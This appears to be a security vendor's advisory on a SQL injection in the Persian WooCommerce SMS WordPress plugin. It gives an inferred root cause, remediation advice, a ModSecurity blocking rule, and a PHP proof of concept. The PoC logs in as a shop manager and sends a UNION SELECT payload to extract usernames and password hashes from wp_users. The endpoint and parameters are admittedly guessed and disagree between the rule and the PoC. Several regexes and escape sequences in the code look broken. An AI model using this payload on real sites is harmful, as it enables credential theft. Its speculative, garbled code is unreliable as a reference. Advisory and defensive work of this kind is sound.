Atomic Edge analysis of CVE-2026-65532 (metadata-based): This vulnerability is a SQL Injection in the Persian WooCommerce SMS plugin for WordPress, affecting versions up to and including 7.2.2. It allows authenticated attackers with shop manager-level access and above to append additional SQL queries into existing ones, potentially extracting sensitive information from the database. The CVSS score is 4.9, and the CWE classification is CWE-89 (Improper Neutralization of Special Elements used in an SQL Command). The vendor has not released a patched version.
Root Cause: The plugin fails to properly escape user-supplied parameters and lacks parameterized queries, allowing SQL injection. Based on the CWE and description, the vulnerable code likely constructs SQL queries using direct string concatenation with user input before sending them through the WordPress database abstraction layer ($wpdb). The plugin’s admin-facing functionality for managing SMS settings or sending messages likely processes parameters without adequate sanitization or preparation. Atomic Edge analysis infers this root cause from the vulnerability metadata; no source code diff is available to confirm the exact vulnerable function.
Exploitation: An authenticated attacker with shop manager-level access can trigger the vulnerable functionality, likely through an admin-ajax or admin-post handler, or a settings form within the plugin. The attacker would inject SQL payloads into a parameter that is concatenated into the query. For example, they might submit a request to admin-ajax.php with action ‘woocommerce_sms_send’ and a parameter like ‘mobile’ containing a UNION SELECT or stacked query payload. Since the attacker has shop manager access, they already have access to the WordPress admin dashboard, making the CSRF nonce check less of a barrier. The attack vector is remote, requires high privileges, and aims at data confidentiality.
Remediation: To fix this vulnerability, the plugin must use prepared statements or parameterized queries (e.g., $wpdb->prepare()) for all SQL queries involving user input. Additionally, it should validate and sanitize input using appropriate WordPress functions, such as sanitize_text_field() and validation functions for expected data types. The plugin should also ensure that all SQL queries use proper escaping and that database access is protected against injection. Until a patch is available, site administrators should restrict shop manager roles to trusted users and implement a web application firewall rule to block common SQL injection attempts on the plugin’s endpoints.
Impact: Successful exploitation could allow an attacker to extract sensitive data, including user credentials, password hashes, customer personal data, and other database contents. The impact is limited to confidentiality (C:H), with no direct integrity or availability impact. However, exposing credential hashes and customer data can enable further attacks such as account takeover or privacy breaches, potentially leading to wider compromise depending on the data stored.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-65532 (metadata-based)
# Block SQL injection attempts against the Persian WooCommerce SMS plugin's admin-post handler.
# The vulnerable parameter is likely 'mobile' in an admin-post action; the rule matches common SQLi patterns.
SecRule REQUEST_URI "@beginsWith /wp-admin/admin-post.php"
"id:65532001,phase:2,deny,status:403,chain,msg:'CVE-2026-65532 via Persian WooCommerce SMS SQLi',severity:'CRITICAL',tag:'CVE-2026-65532',log"
SecRule ARGS_POST:action "@streq woocommerce_sms_save" "chain"
SecRule ARGS:mobile "@rx (unions+select|selects+.*from|inserts+into|updates+set|deletes+from|drops+table|--|#|;s*$)" "t:none,t:urlDecode,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65532 - افزونه پیامک ووکامرس Persian WooCommerce SMS <= 7.2.2 - Authenticated (Shop manager+) SQL Injection
// This PoC demonstrates exploitation by injecting a SQL payload through the plugin's SMS sending functionality.
// It assumes the vulnerable endpoint is an admin-ajax action 'woocommerce_sms_save' (or similar) that processes a 'mobile' parameter.
// The attacker must have at least shop manager role, so login as a user with that capability.
// Configuration - adjust these values
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'shopmanager';
$password = 'password';
// Set up cURL
function curl_request($url, $headers, $post_data = null, $cookies = '') {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
if ($cookies != '') {
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
}
if ($post_data !== null) {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
}
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$response = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);
if ($error) {
die('cURL error: ' . $error);
}
return $response;
}
// Step 1: Login to obtain session cookies
$login_url = 'https://example.com/wp-login.php';
$login_page = curl_request($login_url, ['User-Agent: Mozilla/5.0']);
// Extract the login nonce if present (simplified for demonstration)
preg_match('/name="_wpnonce" value="([^"]+)"/', $login_page, $nonce_match);
$login_nonce = isset($nonce_match[1]) ? $nonce_match[1] : '';
$login_data = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'testcookie' => '1',
'redirect_to' => 'https://example.com/wp-admin/',
'rememberme' => 'forever'
];
if ($login_nonce) {
$login_data['_wpnonce'] = $login_nonce;
}
$login_response = curl_request($login_url, ['User-Agent: Mozilla/5.0'], $login_data);
// Extract session cookies (simplified - in practice, handle Set-Cookie headers)
preg_match_all('/^Set-Cookie:s*([^;]*)/mi', implode("n", headers_list()), $cookies_match);
$cookies = implode('; ', array_unique($cookies_match[1]));
if (strpos($login_response, 'wp-admin') === false && strpos($login_response, 'Dashboard') === false) {
die('Login failed. Check credentials or login page format.');
}
echo "[+] Logged in as $usernamen";
// Step 2: Obtain the AJAX nonce for the plugin action (requires visiting the plugin settings page)
$plugin_settings_url = 'https://example.com/wp-admin/admin.php?page=woocommerce-sms-settings';
$settings_response = curl_request($plugin_settings_url, ['User-Agent: Mozilla/5.0'], null, $cookies);
if (preg_match('/name="_wpnonce" value="([^"]+)"/', $settings_response, $settings_nonce) ||
preg_match('/"nonce":"([^"]+)"/', $settings_response, $ajax_nonce)) {
$nonce = isset($settings_nonce[1]) ? $settings_nonce[1] : (isset($ajax_nonce[1]) ? $ajax_nonce[1] : '');
} else {
$nonce = '';
}
if (empty($nonce)) {
die('Could not find the nonce. Adjust the page URL and nonce extraction pattern.');
}
echo "[+] Nonce obtained: $noncen";
// Step 3: Execute SQL injection
// The vulnerable parameter is assumed to be 'mobile' in the SMS sending action.
// Payload: UNION SELECT to extract user credentials. Adjust table prefix if needed.
$payload = "9999999999' UNION SELECT user_login,user_pass FROM wp_users WHERE 1=1 -- ";
$post_data = [
'action' => 'woocommerce_sms_save', // Example action, adjust based on actual plugin
'nonce' => $nonce,
'mobile' => $payload
];
$response = curl_request($target_url, ['User-Agent: Mozilla/5.0'], $post_data, $cookies);
echo "[+] SQL Injection response:n";
echo $response . "n";
// The response may contain the extracted data, depending on how the plugin outputs the query result.
// For the actual exploitation, you may need to adjust the payload and endpoint based on the function's parameters.
?>
